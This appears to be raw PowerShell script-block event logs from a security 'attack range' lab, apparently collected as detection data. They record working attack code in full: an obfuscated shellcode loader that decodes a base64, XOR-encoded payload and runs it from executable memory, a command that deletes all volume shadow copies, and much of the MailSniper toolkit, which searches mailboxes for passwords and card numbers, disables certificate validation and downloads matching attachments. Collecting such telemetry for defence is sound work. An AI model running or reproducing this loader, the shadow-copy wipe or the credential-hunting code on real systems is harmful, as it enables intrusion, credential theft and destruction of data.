4104152150x0121770Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) }254d91f7-86c3-4c48-b3be-529b0dd03fd2 4104132150x0121768Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHNPFUkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFg0SGAMNbWZ3A2BvcQMRDRMNFhMUERQYAw1tZncDYG9xAxANEw0TFxYTFQ0QEwouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWojS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3E5GUUBLQk1HSllGDUBCV0lCTkVGUFcNQExOIyMjIyM=') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero)287f19f3-08dd-4ce6-9829-0667e295e488 4104132150x0121737Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Set-StrictMode -Version 2 $DoIt = @' function func_get_proc_address { Param ($var_module, $var_procedure) $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string')) return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure)) } function func_get_delegate_type { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters, [Parameter(Position = 1)] [Type] $var_return_type = [Void] ) $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed') $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed') return $var_type_builder.CreateType() } [Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3HR0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDHNPFUkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWpvZgIHawhrCSMWbAJzBiN2UEZRDmJERk1XGQNuTFlKT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMUDRMYA3RKTUdMVFADbXcDFg0SGAMNbWZ3A2BvcQMRDRMNFhMUERQYAw1tZncDYG9xAxANEw0TFxYTFQ0QEwouKSMWbAJzBmNic3gXf3N5exYXC3N9ChRgYAoUXgdmamBicQ5wd2JtZ2JxZw5ibXdqdWpxdnAOd2Zwdw5lam9mAgdrCGsJIxZsAnMGY2JzeBd/c3l7FhcLc30KFGBgChReB2ZqYGJxDnB3Ym1nYnFnDmJtd2p1anF2cA53ZnB3DmVqb2YCB2sIawkjFmwCcwZjYnN4F39zeXsWFwtzfQoUYGAKFF4HZmpgYnEOcHdibWdicWcOYm13anVqcXZwDndmcHcOZWojS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3E5GUUBLQk1HSllGDUBCV0lCTkVGUFcNQExOIyMjIyM=') for ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35 } $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))) $var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length) $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))) $var_runme.Invoke([IntPtr]::Zero) '@ If ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job } else { IEX $DoIt }054c70cc-a33c-4266-bfe9-efb3445119b6C:\Users\Administrator\Documents\getproc.ps1 4104152150x0112748Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) { #[CmdletBinding()][OutputType([PSObject])] #Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName) $MutexWasCreated = $false $Mutex = $Null Write-Verbose "Waiting to acquire lock [$MutexName]..." [void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading') try { $Mutex = [System.Threading.Mutex]::OpenExisting($MutexName) } catch { $Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated) } try { if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { } Write-Verbose "Lock [$MutexName] acquired. Executing..." Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex }) }c725bb91-f45f-4c79-966a-7ec75c7ecdb9C:\Users\Administrator\Documents\mutex.ps1 4104152150x0112746Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) { #[CmdletBinding()][OutputType([PSObject])] #Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName) $MutexWasCreated = $false $Mutex = $Null Write-Verbose "Waiting to acquire lock [$MutexName]..." [void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading') try { $Mutex = [System.Threading.Mutex]::OpenExisting($MutexName) } catch { $Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated) } try { if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { } Write-Verbose "Lock [$MutexName] acquired. Executing..." Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex }) } New-Mutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")81b5e91c-13f6-40bc-92ab-1eef4f63581fC:\Users\Administrator\Documents\mutex.ps1 4104152150x0112717Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) { #[CmdletBinding()][OutputType([PSObject])] #Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName) $MutexWasCreated = $false $Mutex = $Null Write-Verbose "Waiting to acquire lock [$MutexName]..." [void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading') try { $Mutex = [System.Threading.Mutex]::OpenExisting($MutexName) } catch { $Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated) } try { if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { } Write-Verbose "Lock [$MutexName] acquired. Executing..." Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex }) } New-Nutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")ebcd6871-53ce-49de-8ab5-5eb80956857fC:\Users\Administrator\Documents\mutex.ps1 4104152150x0121838Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}205af966-f636-408b-970e-9755248c2a52 4104152150x0121938Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Invoke-SelfSearch49da6475-b0ca-4b2b-a74f-e7a4d9b01471 4104132150x0121870Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local661specific terms. .PARAMETER ExchHostname The hostname of the Exchange server to connect to. .PARAMETER Mailbox Email address of the current user the PowerShell process is running as. .PARAMETER Terms Certain terms to search through each email subject and body for. By default the script looks for "*password*","*creds*","*credentials*" .PARAMETER ExchangeVersion In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1. .PARAMETER OutputCsv Outputs the results of the search to a CSV file. .PARAMETER MailsPerUser The total number of emails to return for each mailbox. .PARAMETER Remote A switch for performing the search remotely across the Internet against a system hosting EWS. Instead of utilizing the current user's credentials if the -Remote option is added a new credential box will pop up for accessing the remote EWS service. .PARAMETER Folder The folder of each mailbox to search. By default the script only searches the "Inbox" folder. By specifying 'all' for the Folder option all of the folders including subfolders of the specified mailbox will be searched. .PARAMETER Regex The regex parameter allows for the use of regular expressions when doing searches. This will override the -Terms flag. .PARAMETER CheckAttachments If the CheckAttachments option is added MailSniper will attempt to search through the contents of email attachements in addition to the default body/subject. These attachments can be downloaded by specifying the -DownloadDir option. It only searches attachments that are of extension .txt, .htm, .pdf, .ps1, .doc, .xls, .bat, and .msg currently. .PARAMETER DownloadDir When the CheckAttachments option finds attachments that are matches to the search terms the files can be downloaded to a specific location using the -DownloadDir option. .PARAMETER UsePrt Uses current user's PRT to authenticate. .PARAMETER AccessToken Use provided oauth access token to authenticate. .EXAMPLE C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com Description ----------- This command will connect to the Exchange server autodiscovered from the email address entered using Exchange Web Services where by default 100 of the latest emails from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*". .EXAMPLE C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -ExchHostname -MailsPerUser 2000 -Terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*" Description ----------- This command will connect to the Exchange server entered as "ExchHostname" followed by a connection to Exchange Web Services as where 2000 of the latest emails from the "Mailbox" will be searched through for the terms "*passwords*","*super secret*","*industrial control systems*","*scada*","*launch codes*". .EXAMPLE C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -ExchHostname mail.domain.com -OutputCsv mails.csv -Remote Description ----------- This command will connect to the remote Exchange server specified with -ExchHostname using Exchange Web Services where by default 100 of the latest emails from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*". Since the -Remote flag was passed a new credential box will popup asking for the user's credentials to authenticate to the remote EWS. The username should be the user's domain login (i.e. domain\username) but depending on how internal UPN's were setup it might accept the user's email address (i.e. user@domain.com). .EXAMPLE C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -Regex '.*3[47][0-9]{13}.*|.*(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}.*|.*4[0-9]{12}(?:[0-9]{3}).*' Description ----------- This command will utilize a Regex search instead of the standard Terms functionality. Specifically, the regular expression in the example above will attempt to match on valid VISA, Mastercard, and American Express credit card numbers in the body and subject's of emails. .EXAMPLE C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -Folder all Description ----------- This command will connect to the Exchange server autodiscovered from the email address entered using Exchange Web Services where by default 100 of the latest emails in all of the folders including subfolders from the "Mailbox" will be searched through for the terms "*pass*","*creds*","*credentials*". .EXAMPLE C:\PS> Invoke-SelfSearch -Mailbox current-user@domain.com -CheckAttachments -DownloadDir C:\temp Description ----------- This command will search through all of the attachments to emails as well as the default body/subject for specific terms and download any attachments found to the C:\temp directory. #> Param( [Parameter(Position = 0, Mandatory = $true)] [string] $Mailbox = "", [Parameter(Position = 1, Mandatory = $false)] [system.URI] $ExchHostname = "", [Parameter(Position = 2, Mandatory = $False)] [string[]]$Terms = ("*password*","*creds*","*credentials*"), [Parameter(Position = 3, Mandatory = $False)] [int] $MailsPerUser = 100, [Parameter(Position = 4, Mandatory = $False)] [string] $OutputCsv = "", [Parameter(Position = 5, Mandatory = $False)] [string] $ExchangeVersion = "Exchange2010", [Parameter(Position = 6, Mandatory = $False)] [switch] $Remote, [Parameter(Position = 7, Mandatory = $False)] [string] $Folder = 'Inbox', [Parameter(Position = 8, Mandatory = $False)] [string] $Regex = '', [Parameter(Position = 9, Mandatory = $False)] [switch] $CheckAttachments, [Parameter(Position = 10, Mandatory = $False)] [string] $DownloadDir = "", [Parameter(Position = 11, Mandatory = $False)] [switch] $OtherUserMailbox, [Parameter(Position = 12, Mandatory = $False)] [switch] $UsePrt, [Parameter(Position = 13, Mandatory = $False)] [string] $AccessToken ) #Running the LoadEWSDLL function to load the required Exchange Web Services dll LoadEWSDLL Write-Output "[*] Trying Exchange version $ExchangeVersion" $ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion $service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion) #If the -Remote flag was passed prompt for the user's domain credentials. if ($Remote) { $remotecred = Get-Credential $service.UseDefaultCredentials = $false $service.Credentials = $remotecred.GetNetworkCredential() } elseif ($UsePrt) { #Get oauth access token with EWS permissions via office native app $token = $(Get-ExchangeAccessToken -AccountName $Mailbox).access_token $service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$token } elseif ($AccessToken) { #Use provided oauth access token $service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$AccessToken } else { #Using current user's credentials to connect to EWS $service.UseDefaultCredentials = $true } ## Choose to ignore any SSL Warning issues caused by Self Signed Certificates ## Code From http://poshcode.org/624 ## Create a compilation environment $Provider=New-Object Microsoft.CSharp.CSharpCodeProvider $Compiler=$Provider.CreateCompiler() $Params=New-Object System.CodeDom.Compiler.CompilerParameters $Params.GenerateExecutable=$False $Params.GenerateInMemory=$True $Params.IncludeDebugInformation=$False $Params.ReferencedAssemblies.Add("System.DLL") > $null $TASource=@' namespace Local.ToolkitExtensions.Net.CertificatePolicy{ public class TrustAll : System.Net.ICertificatePolicy { public TrustAll() { } public bool CheckValidationResult(System.Net.ServicePoint sp, System.Security.Cryptography.X509Certificates.X509Certificate cert, System.Net.WebRequest req, int problem) { return true; } } } '@ $TAResults=$Provider.CompileAssemblyFromSource($Params,$TASource) $TAAssembly=$TAResults.CompiledAssembly ## We now create an instance of the TrustAll and attach it to the ServicePointManager $TrustAll=$TAAssembly.CreateInstance("Local.ToolkitExtensions.Net.CertificatePolicy.TrustAll") [System.Net.ServicePointManager]::CertificatePolicy=$TrustAll ## end code from http://poshcode.org/624 if ($ExchHostname -ne "") { ("[*] Using EWS URL " + "https://" + $ExchHostname + "/EWS/Exchange.asmx") $service.Url = new-object System.Uri(("https://" + $ExchHostname + "/EWS/Exchange.asmx")) } else { ("[*] Autodiscovering email server for " + $Mailbox + "...") try { $service.AutoDiscoverUrl($Mailbox, {$true}) } catch [System.Management.Automation.MethodInvocationException] { $e = $_.Exception.InnerException if ($e.GetType().Name -eq "AutodiscoverRemoteException") { [Microsoft.Exchange.WebServices.autodiscover.AutodiscoverRemoteException]$e = $e # AutodiscoverRemoteException has an Error property which describes the error returned by the AutoDiscover service # https://msdn.microsoft.com/en-us/library/microsoft.exchange.webservices.autodiscover.autodiscoverremoteexception.error%28v=exchg.80%29.aspx?f=255&MSPPError=-2147217396 Write-Output ("[!] AutodiscoverRemoteException: '" + $e.Error.Message + "'") break } # Unfortunately, the other exception case, AutodiscoverLocalException does not have the Error property # Therefore we do not have any interesting info to display } } if($OtherUserMailbox) { $msgfolderroot = New-Object Microsoft.Exchange.WebServices.Data.FolderId([Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::Inbox,$Mailbox) $Inbox = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$msgfolderroot) $ItemView = New-Object Microsoft.Exchange.WebServices.Data.ItemView(1) $Item = $service.FindItems($Inbox.Id,$ItemView) } else { $msgfolderroot = [Microsoft.Exchange.WebServices.Data.WellKnownFolderName]::MsgFolderRoot $mbx = New-Object Microsoft.Exchange.WebServices.Data.Mailbox( $Mailbox ) $FolderId = New-Object Microsoft.Exchange.WebServices.Data.FolderId( $msgfolderroot, $mbx) $rootFolder = [Microsoft.Exchange.WebServices.Data.Folder]::Bind($service,$FolderId) $folderView = [Microsoft.Exchange.WebServices.Data.FolderView]100 $folderView.Traversal='Deep' $rootFolder.Load() if ($Folder -ne "all") { $CustomFolderObj = $rootFolder.FindFolders($folderView) | Where-Object { $_.DisplayName -eq $Folder } } else { $CustomFolderObj = $rootFolder.FindFolders($folderView) } } $PostSearchList = @() if($OtherUserMailbox) { $PropertySet = New-Object Microsoft.Exchange.WebServices.Data.PropertySet([Microsoft.Exchange.WebServices.Data.BasePropertySet]::Fb38663b9-7d90-46e4-81bb-901c053808bdC:\Users\Administrator\Downloads\MailSniper-master\MailSniper-master\MailSniper.ps1 4104132150x0121869Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local561 } if ($CheckAttachments) { foreach($attachment in $item.Attachments) { if($attachment -is [Microsoft.Exchange.WebServices.Data.FileAttachment]) { if($attachment.Name.Contains(".txt") -Or $attachment.Name.Contains(".htm") -Or $attachment.Name.Contains(".pdf") -Or $attachment.Name.Contains(".ps1") -Or $attachment.Name.Contains(".doc") -Or $attachment.Name.Contains(".xls") -Or $attachment.Name.Contains(".bat") -Or $attachment.Name.Contains(".msg")) { $attachment.Load() | Out-Null $plaintext = [System.Text.Encoding]::ASCII.GetString($attachment.Content) if ($Regex -eq "") { foreach($specificterm in $Terms) { if ($plaintext -like $specificterm) { Write-Output ("Found attachment " + $attachment.Name) $PostSearchList += $item if ($DownloadDir -ne "") { $prefix = Get-Random $DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + "-" + $attachment.Name.ToString()), [System.IO.FileMode]::Create) $DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length) $DownloadFile.Close() } } elseif ($plaintext -like $specificterm) { Write-Output ("Found attachment " + $attachment.Name) $PostSearchList += $item if ($DownloadDir -ne "") { $prefix = Get-Random $DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create) $DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length) $DownloadFile.Close() } } } } else { foreach($regularexpresion in $Regex) { if ($plaintext -match $regularexpresion) { Write-Output ("Found attachment " + $attachment.Name) $PostSearchList += $item if ($DownloadDir -ne "") { $prefix = Get-Random $DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create) $DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length) $DownloadFile.Close() } } elseif ($plaintext -match $regularexpresion) { Write-Output ("Found attachment " + $attachment.Name) $PostSearchList += $item if ($DownloadDir -ne "") { $prefix = Get-Random $DownloadFile = new-object System.IO.FileStream(($DownloadDir + "\" + $prefix + $attachment.Name.ToString()), [System.IO.FileMode]::Create) $DownloadFile.Write($attachment.Content, 0, $attachment.Content.Length) $DownloadFile.Close() } } } } } } } } } } if ($OutputCsv -ne "") { $TempOutputCsv = "$OutputCsv$(".temp")" $PostSearchList | %{ $_.Body = $_.Body -replace "`r`n",'\n' -replace ",",'&#44;'} $PostSearchList | Select-Object Sender,ReceivedBy,Subject,Body | Export-Csv $TempOutputCsv -encoding "UTF8" if ($TempOutputCsv) { Import-Csv $TempOutputCsv | ConvertTo-Csv -NoTypeInformation | Select-Object -Skip 1 | Out-File -Encoding ascii -Append $OutputCsv Remove-Item $TempOutputCsv } } else { $PostSearchList | ft -Property Sender,ReceivedBy,Subject,Body | Out-String } } if ($OutputCsv -ne "") { $filedata = Import-Csv $OutputCsv -Header Sender , ReceivedBy , Subject , Body $filedata | Export-Csv $OutputCsv -NoTypeInformation Write-Host -foregroundcolor "yellow" "`r`n[*] Results have been output to $OutputCsv" } #Remove User from impersonation role Write-Output "`r`n[*] Removing ApplicationImpersonation role from $ImpersonationAccount." Get-ManagementRoleAssignment -RoleAssignee $ImpersonationAccount -Role ApplicationImpersonation -RoleAssigneeType user | Remove-ManagementRoleAssignment -confirm:$false } function Send-EWSEmail { <# .SYNOPSIS This module will connect to a Microsoft Exchange server using Exchange Web Services to send emails from the current user's mailbox. MailSniper Function: Send-EWSEmail Author: Steve Borosh (@424f424f) License: BSD 3-Clause Required Dependencies: LoadEWSDLL Optional Dependencies: None .DESCRIPTION This module will connect to a Microsoft Exchange server using Exchange Web Services to send emails. .PARAMETER ExchHostname The hostname of the Exchange server to connect to. .PARAMETER ExchangeVersion In order to communicate with Exchange Web Services the correct version of Microsoft Exchange Server must be specified. By default this script tries "Exchange2010". Additional options to try are Exchange2007_SP1, Exchange2010, Exchange2010_SP1, Exchange2010_SP2, Exchange2013, or Exchange2013_SP1. .PARAMETER Recipient Email address of the recipient who will receive the email. .PARAMETER Subject Subject of the email. .PARAMETER emailBody Body of the email. Maybe in HTML format. .PARAMETER Attachment Path to an attachment file. .PARAMETER UsePrt Uses current user's PRT to authenticate. .PARAMETER AccessToken Use provided oauth access token to authenticate. .PARAMETER Remote A switch accessing remotely across the Internet against a system hosting EWS. Instead of utilizing the current user's credentials if the -Remote option is added a new credential box will pop up for accessing the remote EWS service. .EXAMPLE C:\PS> Send-EWSEmail -ServiceURL "https://outlook.office365.com/EWS/Exchange.asmx" -Recipient "me@me.com" -Subject "Important Message!" -EmailBody "All, <br> Check out the attachment." -Attachment .\WordDocument.rtf Description ----------- This command will connect to Office365 via EWS API to send email messages. .EXAMPLE C:\PS> Send-EWSEmail -ServiceURL "https://substrate.office.com/EWS/Exchange.asmx" -Recipient "me@me.com" -Subject "Important Message!" -EmailBody "All, <br> Check out the attachment." -Attachment .\WordDocument.rtf Description ----------- This command will connect to Office365 via Substrate EWS API to send email messages. #> [CmdletBinding()] Param( [Parameter(Mandatory = $True)] [String] $ExchHostname, [Parameter(Mandatory = $False)] [String] $ExchangeVersion = "Exchange2010", [Parameter(Mandatory = $True)] [String] $Recipient, [Parameter(Mandatory = $True)] [String] $Subject, [Parameter(Mandatory = $True)] [String] $EmailBody, [Parameter(Mandatory = $False)] [String] $Attachment, [Parameter(Mandatory = $False)] [String] $UsePrt, [Parameter(Mandatory = $False)] [String] $AccessToken, [Parameter(Mandatory = $False)] [switch] $Remote ) try { LoadEWSDLL $ServiceExchangeVersion = [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::$ExchangeVersion $service = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService($ServiceExchangeVersion) #If the -Remote flag was passed prompt for the user's domain credentials. if ($Remote) { $remotecred = Get-Credential $service.UseDefaultCredentials = $false $service.Credentials = $remotecred.GetNetworkCredential() } elseif ($UsePrt) { #Get OAuth access token with EWS permissions via Office native app $token = $(Get-ExchangeAccessToken -AccountName $Mailbox).access_token $service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$token } elseif ($AccessToken) { $service.Credentials = [Microsoft.Exchange.WebServices.Data.OAuthCredentials]$AccessToken } else { #Using current user's credentials to connect to EWS $service.UseDefaultCredentials = $true } if ($ExchHostname -ne "") { ("[*] Using EWS URL " + "https://" + $ExchHostname + "/EWS/Exchange.asmx") $service.Url = new-object System.Uri(("https://" + $ExchHostname + "/EWS/Exchange.asmx")) } else { ("[*] Autodiscovering email server for " + $Mailbox + "...") try { $service.AutoDiscoverUrl($Mailbox, {$true}) } catch [System.Management.Automation.MethodInvocationException] { $e = $_.Exception.InnerException if ($e.GetType().Name -eq "AutodiscoverRemoteException") { [Microsoft.Exchange.WebServices.autodiscover.AutodiscoverRemoteException]$e = $e # AutodiscoverRemoteException has an Error property which describes the error returned by the AutoDiscover service # https://msdn.microsoft.com/en-us/library/microsoft.exchange.webservices.autodiscover.autodiscoverremoteexception.error%28v=exchg.80%29.aspx?f=255&MSPPError=-2147217396 Write-Output ("[!] AutodiscoverRemoteException: '" + $e.Error.Message + "'") break } # Unfortunately, the other exception case, AutodiscoverLocalException does not have the Error property # Therefore we do not have any interesting info to display } } # Create Email Object $newMail = New-Object -TypeName Microsoft.Exchange.WebServices.Data.EmailMessage -ArgumentList $service $newMail.Subject = $Subject $newMail.Body = $EmailBody $newMail.ToRecipients.Add($Recipient) | Out-Null if 